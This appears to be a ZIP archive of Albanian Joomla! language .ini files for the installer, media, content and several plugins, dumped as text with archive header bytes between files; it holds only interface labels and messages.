COM_INSTALLER_PACKAGE_FILE="Dokumenti" COM_INSTALLER_PURGED_UPDATES="Purged updates" COM_INSTALLER_SUBMENU_DATABASE="Databaza" COM_INSTALLER_SUBMENU_DISCOVER="Discover" COM_INSTALLER_SUBMENU_INSTALL="Instalo" COM_INSTALLER_SUBMENU_MANAGE="Manage" COM_INSTALLER_SUBMENU_UPDATE="Update" COM_INSTALLER_SUBMENU_WARNINGS="Warnings" COM_INSTALLER_TITLE_DATABASE="Extension manager - Database" COM_INSTALLER_TITLE_DISCOVER="Extension manager - Discover" COM_INSTALLER_TITLE_INSTALL="Extension manager - Install" COM_INSTALLER_TITLE_MANAGE="Extension manager - Manage" COM_INSTALLER_TITLE_UPDATE="Extension manager - Update" COM_INSTALLER_TITLE_WARNINGS="Extension manager - Warnings" COM_INSTALLER_TOOLBAR_DISCOVER="Discover" COM_INSTALLER_TOOLBAR_FIND_UPDATES="Find Updates" COM_INSTALLER_TOOLBAR_UPDATE="Update" COM_INSTALLER_TOOLBAR_DATABASE_FIX="Fix" COM_INSTALLER_TYPE_CLIENT="Location" COM_INSTALLER_TYPE_COMPONENT="Komponenti" COM_INSTALLER_TYPE_FILE="Dokumenti" COM_INSTALLER_TYPE_LANGUAGE="Gjuha" COM_INSTALLER_TYPE_LIBRARY="Library" COM_INSTALLER_TYPE_MODULE="Moduli" COM_INSTALLER_TYPE_NONAPPLICABLE="n/a" COM_INSTALLER_TYPE_PACKAGE="Paketa" COM_INSTALLER_TYPE_PLUGIN="Plugini" COM_INSTALLER_TYPE_TEMPLATE="Ftyar" COM_INSTALLER_TYPE_TYPE_COMPONENT="Komponenti" COM_INSTALLER_TYPE_TYPE_FILE="Dokumenti" COM_INSTALLER_TYPE_TYPE_LANGUAGE="Gjuha" COM_INSTALLER_TYPE_TYPE_LIBRARY="library" COM_INSTALLER_TYPE_TYPE_MODULE="Moduli" COM_INSTALLER_TYPE_TYPE_PACKAGE="Paketa" COM_INSTALLER_TYPE_TYPE_PLUGIN="Plugini" COM_INSTALLER_TYPE_TYPE_TEMPLATE="Ftyar" COM_INSTALLER_UNABLE_TO_FIND_INSTALL_PACKAGE="S'u gjet paketa e instalimit" COM_INSTALLER_UNINSTALL_ERROR="Error uninstalling %s." COM_INSTALLER_UNINSTALL_SUCCESS="Uninstalling %s was successful." COM_INSTALLER_UPLOAD_AND_INSTALL="Upload & Install" COM_INSTALLER_UPLOAD_PACKAGE_FILE="Paketa" COM_INSTALLER_VALUE_CLIENT_SELECT="- Select Location -" COM_INSTALLER_VALUE_FOLDER_NONAPPLICABLE="n/a" COM_INSTALLER_VALUE_FOLDER_SELECT="- Select Folder -" COM_INSTALLER_VALUE_STATE_SELECT="- Select Status -" COM_INSTALLER_VALUE_TYPE_SELECT="- Select Type -" COM_INSTALLER_XML_DESCRIPTION="Installer component for adding, removing and upgrading extensions" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." COM_INSTALLER_PREFERENCES_LABEL="Preferences" COM_INSTALLER_PREFERENCES_DESCRIPTION="Fine-tune how extensions installation and updates work" COM_INSTALLER_CACHETIMEOUT_LABEL="Updates caching (in hours)" COM_INSTALLER_CACHETIMEOUT_DESC="For how many hours should Joomla! cache extension update information"PK@y>\ W(language/sq-AL/sq-AL.plg_user_joomla.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_USER_JOOMLA="User - Joomla!" PLG_USER_JOOMLA_FIELD_AUTOREGISTER_DESC="Krijo automatikisht përdorues të regjistruem ku asht e mundun" PLG_USER_JOOMLA_FIELD_AUTOREGISTER_LABEL="Krijo përdorues automatikisht" PLG_USER_JOOMLA_FIELD_MAILTOUSER_DESC="When an administrator creates a user account, this determines if an email, which contains their username and password, is sent to the user." PLG_USER_JOOMLA_FIELD_MAILTOUSER_LABEL="Notification Mail to User" PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY="Hello %s,\n\n\nYou have been added as a User to %s by an Administrator.\n\nThis email contains your username and password to log in to %s\n\nUsername: %s\nPassword: %s\n\n\nPlease do not respond to this message as it is automatically generated and is for information purposes only." PLG_USER_JOOMLA_NEW_USER_EMAIL_SUBJECT="Hollësinat e përdoruesit t'ri" PLG_USER_JOOMLA_XML_DESCRIPTION="Merret me sinkronizimin normal të përdoruesve të Joomla!-s"PK@y>\+ALL*language/sq-AL/sq-AL.com_languages.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LANGUAGES="Gjuha" COM_LANGUAGES_XML_DESCRIPTION="Component for language management" PK@y>\ii&language/sq-AL/sq-AL.com_admin.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_ADMIN="Admin - Info sistemi" COM_ADMIN_XML_DESCRIPTION="Komponenti i administrimit t'informacionit të sistemit" PK@y>\߿kHH"language/sq-AL/sq-AL.com_media.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MEDIA="Media" COM_MEDIA_ALIGN="Rreshto" COM_MEDIA_ALIGN_DESC="If 'Not Set', the alignment is defined by the class '.img_caption.none'. Usually to get the image centred on the page." COM_MEDIA_BROWSE_FILES="Kqyr dokumentat" COM_MEDIA_CAPTION="Legjenda" COM_MEDIA_CAPTION_DESC="If set to 'Yes', the Image Title will be used as caption." COM_MEDIA_CLEAR_LIST="Clear List" COM_MEDIA_CONFIGURATION="Media Manager Options" COM_MEDIA_CREATE_COMPLETE="Create Complete: %s" COM_MEDIA_CREATE_FOLDER="Krijo direktori" COM_MEDIA_CURRENT_PROGRESS="Current progress" COM_MEDIA_DELETE_COMPLETE="Delete Complete: %s" COM_MEDIA_DESCFTPTITLE="T'dhanat e hymjes FTP" COM_MEDIA_DESCFTP="To upload, change and delete media files, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_MEDIA_DETAIL_VIEW="Pamje e hollësishme" COM_MEDIA_DIRECTORY="Direktoria" COM_MEDIA_DIRECTORY_UP="Direktoria nalt" COM_MEDIA_ERROR_BAD_REQUEST="Bad Request" COM_MEDIA_ERROR_BEFORE_DELETE_0="Some error occurs before deleting the media" COM_MEDIA_ERROR_BEFORE_DELETE_1="An error occurs before deleting the media: %s" COM_MEDIA_ERROR_BEFORE_DELETE_MORE="Some errors occur before deleting the media: %s" COM_MEDIA_ERROR_BEFORE_SAVE_0="Some error occurs before saving the media" COM_MEDIA_ERROR_BEFORE_SAVE_1="An error occurs before saving the media: %s" COM_MEDIA_ERROR_BEFORE_SAVE_MORE="Some errors occur before saving the media: %s" COM_MEDIA_ERROR_CREATE_NOT_PERMITTED="Create not permitted" COM_MEDIA_ERROR_FILE_EXISTS="File already exists" COM_MEDIA_ERROR_UNABLE_TO_CREATE_FOLDER_WARNDIRNAME="Unable to create directory. Directory name must only contain alphanumeric characters and no spaces." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FILE_WARNFILENAME="Unable to delete: %s. File name must only contain alphanumeric characters and no spaces." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_NOT_EMPTY="Unable to delete: %s. Folder is not empty!" COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_WARNDIRNAME="Unable to delete: %s. Directory name must only contain alphanumeric characters and no spaces." COM_MEDIA_ERROR_UNABLE_TO_DELETE=" Unable to delete: " COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE="Unable to upload file." COM_MEDIA_ERROR_UPLOAD_INPUT="T'lutem përcakto nji dokument për ngarkim" COM_MEDIA_ERROR_WARNFILENAME="Emni i dokumentit duhet me pasë vetëm shkroja alfanumerike dhe pa hapsina." COM_MEDIA_ERROR_WARNFILETOOLARGE="Ky dokument asht tepër i madh me u ngarkue." COM_MEDIA_ERROR_WARNFILETYPE="Ky lloj dokumenti s'mbështetet." COM_MEDIA_ERROR_WARNIEXSS="U gjet sulm i mundshëm IE XSS." COM_MEDIA_ERROR_WARNINVALID_IMG="S'asht pamje e vlefshme." COM_MEDIA_ERROR_WARNINVALID_MIME="Llojet e paligjshme apo të pavlefshme mime të zbulueme." COM_MEDIA_ERROR_WARNNOTADMIN="Dokumenti i ngarkuem s'asht pamje dhe ti s'je menaxher a ma nalt." COM_MEDIA_ERROR_WARNNOTEMPTY="Not empty!" COM_MEDIA_FIELD_CHECK_MIME_DESC="Përdor MIME Magic ose Fileinfo me u përpjekë me i verifikue dokumentat. Mos e përdor këte nëse nxjerr gabime t'paligjshme mime" COM_MEDIA_FIELD_CHECK_MIME_LABEL="Kontrollo llojet MIME" COM_MEDIA_FIELD_ENABLE_FLASH_UPLOADER_DESC="Flash uploader lets upload multiple files at the same time. It may not work on your settings" COM_MEDIA_FIELD_ENABLE_FLASH_UPLOADER_LABEL="Aktivizo ngarkuesin flash" COM_MEDIA_FIELD_IGNORED_EXTENSIONS_DESC="Mbrapashtesat e shpërfilluna për llojin MIME në kontrollimin dhe kufizimin e ngarkimeve" COM_MEDIA_FIELD_IGNORED_EXTENSIONS_LABEL="Mbrapashtesat e shpërfilluna" COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_DESC="Listë nda me presje e llojeve t'paligjshme MIME për ngarkimet (listë e zezë)" COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_LABEL="Llojet e paligjshme MIME" COM_MEDIA_FIELD_LEGAL_EXTENSIONS_DESC=" Extensions (file types) you are allowed to upload (comma separated)." COM_MEDIA_FIELD_LEGAL_EXTENSIONS_LABEL="Mbrapashtesat e ligjshme (llojet e dokumentave)" COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_DESC=" Image Extensions (file types) you are allowed to upload (comma separated). These are used to check for valid image headers." COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_LABEL="Mbrapashtesat e ligjshme (llojet e dokumentave)" COM_MEDIA_FIELD_LEGAL_MIME_TYPES_DESC="Listë nda me presje e llojeve të ligjshme MIME për ngarkimet" COM_MEDIA_FIELD_LEGAL_MIME_TYPES_LABEL="Llojet e ligjshme MIME" COM_MEDIA_FIELD_MAXIMUM_SIZE_DESC="The maximum size for an upload (in megabytes). Use zero for no limit. Note: your server has a maximum limit." COM_MEDIA_FIELD_MAXIMUM_SIZE_LABEL="Maximum Size (in MB)" COM_MEDIA_FIELD_PATH_FILE_FOLDER_DESC="Enter the path to the files folder relative to root. Warning! Changing to another path than the default 'images' may break your links." COM_MEDIA_FIELD_PATH_FILE_FOLDER_LABEL="Path to files folder" COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_DESC="Enter the path to the images folder relative to root. This path has to be the same as path to files (default) or to a subfolder of the path to file folder." COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_LABEL="Path to images folder" COM_MEDIA_FIELD_RESTRICT_UPLOADS_DESC="Kufizo ngarkimet për ma poshtë se përdoruesit menaxherë në thjesht paje nëse Fileinfo ose MIME Magic s'asht instalue." COM_MEDIA_FIELD_RESTRICT_UPLOADS_LABEL="Kufizo ngarkimet" COM_MEDIA_FILES="Dokumentat" COM_MEDIA_FILESIZE_BYTES="%s bytes" COM_MEDIA_FILESIZE="File size" COM_MEDIA_FILESIZE_KILOBYTES="%s KB" COM_MEDIA_FILESIZE_MEGABYTES="%s MB" COM_MEDIA_FOLDER="Dosja" COM_MEDIA_FOLDERS="Media Folders" COM_MEDIA_FOLDERS_PATH_LABEL="Changing the default 'path to files folder' to another folder than default 'images' may break your links.
      The 'path to images' folder has to be the same or to a subfolder of 'path to files'." COM_MEDIA_IMAGE_DESCRIPTION="Përshkrimi i pamjes" COM_MEDIA_IMAGE_TITLE="%1$s - %2$s" COM_MEDIA_IMAGE_DIMENSIONS="%1$s x %2$s" COM_MEDIA_IMAGE_URL="Nyja e pamjes" COM_MEDIA_INSERT_IMAGE="Fut pamjen" COM_MEDIA_INSERT="Fut" COM_MEDIA_INVALID_REQUEST="Invalid Request" COM_MEDIA_MEDIA="media" COM_MEDIA_NAME="Image Name" COM_MEDIA_NO_IMAGES_FOUND="S'u gjetën pamje" COM_MEDIA_NOT_SET="S'asht vu" COM_MEDIA_OVERALL_PROGRESS="Overall Progress" COM_MEDIA_PIXEL_DIMENSIONS="Pixel Dimensions (W x H)" COM_MEDIA_START_UPLOAD="Ngarko" COM_MEDIA_THUMBNAIL_VIEW="Pamje thoni" COM_MEDIA_TITLE="Image Title" COM_MEDIA_UPLOAD_COMPLETE="Upload Complete: %s" COM_MEDIA_UPLOAD_FILES_NOLIMIT="Upload files (No maximum size)" COM_MEDIA_UPLOAD_FILES="Upload files (Maximum Size: %s MB)" COM_MEDIA_UPLOAD_FILE="Ngarko dokumentin" COM_MEDIA_UPLOAD_SUCCESSFUL="Upload Successful" COM_MEDIA_UPLOAD="Ngarko" COM_MEDIA_UP="Nalt" COM_MEDIA_XML_DESCRIPTION="Component for managing site media" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\-//language/sq-AL/sq-AL.plg_content_loadmodule.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_LOADMODULE="Content - Load Modules" PLG_LOADMODULE_FIELD_STYLE_DESC="Kodi që i mbshtjell modulet" PLG_LOADMODULE_FIELD_STYLE_LABEL="Stili" PLG_LOADMODULE_FIELD_VALUE_DIVS="Mbshtjellë nga Divs" PLG_LOADMODULE_FIELD_VALUE_HORIZONTAL="Mbshtjellë nga tabela - horizontal" PLG_LOADMODULE_FIELD_VALUE_MULTIPLEDIVS="Mbshtjellv nga Divs të shumfishtë" PLG_LOADMODULE_FIELD_VALUE_RAW="Pa mbështjellje - rezultat bruto" PLG_LOADMODULE_FIELD_VALUE_TABLE="Mbshtjelë nga tabela - rreshti" PLG_LOADMODULE_XML_DESCRIPTION="Within content loads Module positions, Syntax: {loadposition user1} or Modules by name, Syntax: {loadmodule mod_login}. Optionally can specify module style and for loadmodule a specific module title." PK@y>\:)language/sq-AL/sq-AL.plg_content_vote.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_VOTE="Content - Vote" PLG_VOTE_BEST="I mirë" PLG_VOTE_POOR="I dobët" PLG_VOTE_RATE="Vota" PLG_VOTE_USER_RATING="Renditja e përdoruesve: %1$s / %2$s" PLG_VOTE_VOTE="Voto %s" PLG_VOTE_XML_DESCRIPTION="Shto funksionin e votimit te artikujt" PK@y>\Oʦ7language/sq-AL/sq-AL.plg_quickicon_joomlaupdate.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_JOOMLAUPDATE="Quick Icon - Joomla! Update Notification" PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION="Checks for Joomla! updates and notifies you when you visit the Control Panel page" PK@y>\,œ22$language/sq-AL/sq-AL.com_content.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTENT="Artikujt" COM_CONTENT_ACCESS_DELETE_DESC="New setting for delete actions on this article and the calculated setting based on the parent category and group permissions." COM_CONTENT_ACCESS_EDIT_DESC="New setting for edit actions on this article and the calculated setting based on the parent category and group permissions." COM_CONTENT_ACCESS_EDITSTATE_DESC="New setting for edit state actions on this article and the calculated setting based on the parent category and group permissions." COM_CONTENT_ARTICLE_DETAILS="Article Details" COM_CONTENT_ARTICLES_TITLE="Article Manager: Articles" COM_CONTENT_ATTRIBS_ARTICLE_SETTINGS_LABEL="Article Options" COM_CONTENT_ATTRIBS_FIELDSET_LABEL="Article Options" COM_CONTENT_BATCH_MENU_LABEL="Select Category for Move/Copy" COM_CONTENT_BATCH_OPTIONS="Batch process the selected articles" COM_CONTENT_BATCH_TIP="If choosing to copy an article, any other actions selected will be applied to the copied article. Otherwise, all actions are applied to the selected article." COM_CONTENT_CHANGE_ARTICLE="Select or Change article" COM_CONTENT_CHANGE_ARTICLE_BUTTON="Select / Change" COM_CONTENT_CHOOSE_CATEGORY_DESC="Select a parent category" COM_CONTENT_CONFIG_ARTICLE_SETTINGS_DESC="These settings apply for article layouts unless they are changed for a specific menu item." COM_CONTENT_CONFIG_BLOG_SETTINGS_DESC="These settings apply for blog or featured layouts unless they are changed for a specific menu item." COM_CONTENT_CONFIG_BLOG_SETTINGS_LABEL="Blog / Featured Layouts" COM_CONTENT_CONFIG_CATEGORIES_SETTINGS_DESC="These settings apply for Articles Categories Options, unless they are changed by the individual category or menu settings." COM_CONTENT_CONFIG_CATEGORY_SETTINGS_DESC="These settings apply for Articles Category Options unless they are changed by the individual category or menu settings." COM_CONTENT_CONFIG_EDITOR_LAYOUT="These options control the layout of the article editing page." COM_CONTENT_CONFIG_INTEGRATION_SETTINGS_DESC="These settings determine how the Article Component will integrate with other extensions." COM_CONTENT_CONFIG_LIST_SETTINGS_DESC="These settings apply for List Layouts Options unless they are changed for a specific menu item or category." COM_CONTENT_CONFIGURATION="Article Manager Options" COM_CONTENT_CREATE_ARTICLE_CATEGORY_LABEL="Default category" COM_CONTENT_CREATE_ARTICLE_CATEGORY_DESC="If set to 'Yes', this page will only let you create articles in the category selected below." COM_CONTENT_DRILL_CATEGORIES_LABEL="List or Blog: after choosing the display,
      make sure you define the Options in the desired layout." COM_CONTENT_DRILL_DOWN_LAYOUT_DESC="When drilling down to a category, whether to show articles in a list or blog layout." COM_CONTENT_DRILL_DOWN_LAYOUT_LABEL="List or Blog Layout" COM_CONTENT_EDIT_ARTICLE="Edit Article" COM_CONTENT_EDITING_LAYOUT="Editing Layout" COM_CONTENT_FEATURED="Featured article" COM_CONTENT_FEATURED_CATEGORIES_DESC="Optional list of categories. If selected, only featured articles from the selected categories will show. Use Ctrl+Click to select or unselect." COM_CONTENT_FEATURED_CATEGORIES_LABEL="Select Categories" COM_CONTENT_FEATURED_ORDER="Featured Articles Order" COM_CONTENT_FEATURED_TITLE="Article Manager: Featured Articles" COM_CONTENT_FIELD_ARTICLETEXT_DESC="Enter the article content in the text-area" COM_CONTENT_FIELD_ARTICLETEXT_LABEL="Article Text" COM_CONTENT_FIELD_CREATED_BY_ALIAS_DESC="You can enter here an alias to be displayed instead of the name of the user who created the article." COM_CONTENT_FIELD_CREATED_BY_ALIAS_LABEL="Created by alias" COM_CONTENT_FIELD_CREATED_BY_DESC="You can change here the name of the user who created the article." COM_CONTENT_FIELD_CREATED_BY_LABEL="Created by" COM_CONTENT_FIELD_CREATED_DESC="Data e krijimit" COM_CONTENT_FIELD_CREATED_LABEL="Data e krijimit" COM_CONTENT_FIELD_FEATURED_DESC="Assign the article to the featured blog layout" COM_CONTENT_FIELD_FULL_DESC="Image for the single article display" COM_CONTENT_FIELD_FULL_LABEL="Full article image" COM_CONTENT_FIELD_HITS_DESC="Number of hits for this article" COM_CONTENT_FIELD_IMAGE_DESC="The image to be displayed" COM_CONTENT_FIELD_IMAGE_ALT_DESC="Alternative text used for visitors without access to images. Replaced with caption text if it is present." COM_CONTENT_FIELD_IMAGE_ALT_LABEL="Teksti Alt" COM_CONTENT_FIELD_IMAGE_CAPTION_DESC="Caption attached to the image" COM_CONTENT_FIELD_IMAGE_CAPTION_LABEL="Legjenda" COM_CONTENT_FIELD_INTRO_DESC="Image for the intro text layouts such as blogs and featured" COM_CONTENT_FIELD_INTRO_LABEL="Intro Image" COM_CONTENT_FIELD_LANGUAGE_DESC="The language that the article is assigned to." COM_CONTENT_FIELD_MODIFIED_DESC="The date and time that the article was last modified." COM_CONTENT_FIELD_OPTION_ABOVE="Sipër" COM_CONTENT_FIELD_OPTION_BELOW="Poshtë" COM_CONTENT_FIELD_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the article." COM_CONTENT_FIELD_PUBLISH_DOWN_LABEL="Përfundo botimin" COM_CONTENT_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing the article." COM_CONTENT_FIELD_PUBLISH_UP_LABEL="Fillo botimin" COM_CONTENT_FIELD_SELECT_ARTICLE_DESC="Select the desired article from the list." COM_CONTENT_FIELD_SELECT_ARTICLE_LABEL="Zgjidh artikullin" COM_CONTENT_FIELD_URL_DESC="The actual link to which users will be redirected. Must be a full URL including http:// or other protocol (for example http://joomla.org)." COM_CONTENT_FIELD_URL_LINK_TEXT_DESC="Text to display for the link" COM_CONTENT_FIELD_URL_LINK_TEXT_LABEL="Link Text" COM_CONTENT_FIELD_URLA_LABEL="Link A" COM_CONTENT_FIELD_URLA_LINK_TEXT_LABEL="Link A Text" COM_CONTENT_FIELD_URLB_LABEL="Link B" COM_CONTENT_FIELD_URLB_LINK_TEXT_LABEL="Link B Text" COM_CONTENT_FIELD_URLC_LABEL="Link C" COM_CONTENT_FIELD_URLC_LINK_TEXT_LABEL="Link C Text" COM_CONTENT_FIELD_URLSPOSITION_LABEL="Positioning of the Links" COM_CONTENT_FIELD_URLSPOSITION_DESC="Display the links above or below the content" COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS="Use Article Settings" COM_CONTENT_FIELD_VERSION_DESC="A count of the number of times this article has been revised." COM_CONTENT_FIELD_VERSION_LABEL="Revision" COM_CONTENT_FIELD_XREFERENCE_DESC="An optional reference used to link to external data sources." COM_CONTENT_FIELD_XREFERENCE_LABEL="External Reference" COM_CONTENT_FIELDSET_PUBLISHING="Publishing Options" COM_CONTENT_FIELDSET_RULES="Article Permissions" COM_CONTENT_FIELDSET_URLS_AND_IMAGES="Images and links" COM_CONTENT_FILTER_SEARCH_DESC="Search title or alias. Prefix with ID: to search for an article ID." COM_CONTENT_FLOAT_DESC="Controls placement of the image" COM_CONTENT_FLOAT_FULLTEXT_LABEL="Full Text Image Float" COM_CONTENT_FLOAT_LABEL="Image Float" COM_CONTENT_FLOAT_INTRO_LABEL="Intro Image Float" COM_CONTENT_ID_LABEL="id" COM_CONTENT_LEFT="Majtas" COM_CONTENT_MONTH="Month" COM_CONTENT_N_ITEMS_ARCHIVED="%s articles archived." COM_CONTENT_N_ITEMS_ARCHIVED_1="%s article archived." COM_CONTENT_N_ITEMS_CHECKED_IN_0="No article successfully checked in" COM_CONTENT_N_ITEMS_CHECKED_IN_1="%d article successfully checked in" COM_CONTENT_N_ITEMS_CHECKED_IN_MORE="%d articles successfully checked in" COM_CONTENT_N_ITEMS_DELETED="%s articles deleted." COM_CONTENT_N_ITEMS_DELETED_1="%s article deleted." COM_CONTENT_N_ITEMS_PUBLISHED="%s articles published." COM_CONTENT_N_ITEMS_PUBLISHED_1="%s article published." COM_CONTENT_N_ITEMS_TRASHED="%s articles trashed." COM_CONTENT_N_ITEMS_TRASHED_1="%s article trashed." COM_CONTENT_N_ITEMS_UNPUBLISHED="%s articles unpublished." COM_CONTENT_N_ITEMS_UNPUBLISHED_1="%s article unpublished." COM_CONTENT_NEW_ARTICLE="New Article" COM_CONTENT_NO_ARTICLES_DESC="If Show, the message 'There are no articles in this category' will display when there are no articles in the category or when 'Empty Categories' is set to show." COM_CONTENT_NO_ARTICLES_LABEL="No Articles Message" COM_CONTENT_NONE="Asnji" COM_CONTENT_NUMBER_CATEGORY_ITEMS_DESC="If Show, the number of articles in the category will show." COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL="# Articles in Category" COM_CONTENT_PAGE_ADD_ARTICLE="Article Manager: Add New Article" COM_CONTENT_PAGE_EDIT_ARTICLE="Article Manager: Edit Article" COM_CONTENT_PAGE_VIEW_ARTICLE="Article Manager: View Article" COM_CONTENT_PAGEBREAK_DOC_TITLE="Page Break" COM_CONTENT_PAGEBREAK_INSERT_BUTTON="Fut faqe t're" COM_CONTENT_PAGEBREAK_TITLE="Titulli i faqes:" COM_CONTENT_PAGEBREAK_TOC="Përmbajtja Alias:" COM_CONTENT_RIGHT="Djathtas" COM_CONTENT_SAVE_SUCCESS="Article successfully saved" COM_CONTENT_SELECT_AN_ARTICLE="Zgjidh nji artikull" COM_CONTENT_SHARED_DESC="These settings apply for Shared Options in List, Blog and Featured unless they are changed by the menu settings." COM_CONTENT_SHARED_LABEL="Shared Options" COM_CONTENT_SHOW_ARTICLE_OPTIONS_DESC="Display or hide article options slider in the backend article edit view. These options allow overriding of the global options." COM_CONTENT_SHOW_ARTICLE_OPTIONS_LABEL="Show Article Options" COM_CONTENT_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no articles or subcategories." COM_CONTENT_SHOW_IMAGES_URLS_BACK_DESC="Display or hide fields to insert standardized images and links in the administrator" COM_CONTENT_SHOW_IMAGES_URLS_BACK_LABEL="Administrator Images and Links" COM_CONTENT_SHOW_IMAGES_URLS_FRONT_DESC="Display or hide fields to insert standardized images and links when front end editing" COM_CONTENT_SHOW_IMAGES_URLS_FRONT_LABEL="Frontend Images and Links" COM_CONTENT_SHOW_PUBLISHING_OPTIONS_DESC="Display or hide the publishing options slider in the article edit view. These options allow changes in dates and author identities." COM_CONTENT_SHOW_PUBLISHING_OPTIONS_LABEL="Show Publishing Options" COM_CONTENT_SLIDER_EDITOR_CONFIG="Configure Edit Screen" COM_CONTENT_SUBMENU_CATEGORIES="Kategoritë" COM_CONTENT_SUBMENU_FEATURED="Featured Articles" COM_CONTENT_TOGGLE_TO_FEATURE="Toggle to change article state to 'Featured'" COM_CONTENT_TOGGLE_TO_UNFEATURE="Toggle to change article state to 'Unfeatured'" COM_CONTENT_UNFEATURED="Unfeatured article" COM_CONTENT_URL_FIELD_BROWSERNAV_LABEL="URL Target Window" COM_CONTENT_URL_FIELD_BROWSERNAV_DESC="Target browser window when the menu item is clicked." COM_CONTENT_URL_FIELD_A_BROWSERNAV_LABEL="URL A Target Window" COM_CONTENT_URL_FIELD_B_BROWSERNAV_LABEL="URL B Target Window" COM_CONTENT_URL_FIELD_C_BROWSERNAV_LABEL="URL C Target Window" COM_CONTENT_WARNING_PROVIDE_VALID_NAME="Please provide a valid, non-blank title." COM_CONTENT_XML_DESCRIPTION="Article management component" JGLOBAL_NO_ITEM_SELECTED="No articles selected" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="You are not allowed to create new articles in this category." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="You are not allowed to edit one or more of these articles." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." JLIB_RULES_SETTING_NOTES_ITEM="1. If you change the setting, it will apply to this article. Note that:
      Inherited means that the permissions from global configuration, parent group and category will be used.
      Denied means that no matter what the global configuration, parent group or category settings are, the group being edited cannot take this action on this article.
      Allowed means that the group being edited will be able to take this action for this article (but if this is in conflict with the global configuration, parent group or category it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\~q5language/sq-AL/sq-AL.plg_authentication_gmail.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_GMAIL="Authentication - GMail" PLG_GMAIL_XML_DESCRIPTION="Handles User Authentication with a GMail or Googlemail account (Requires cURL)
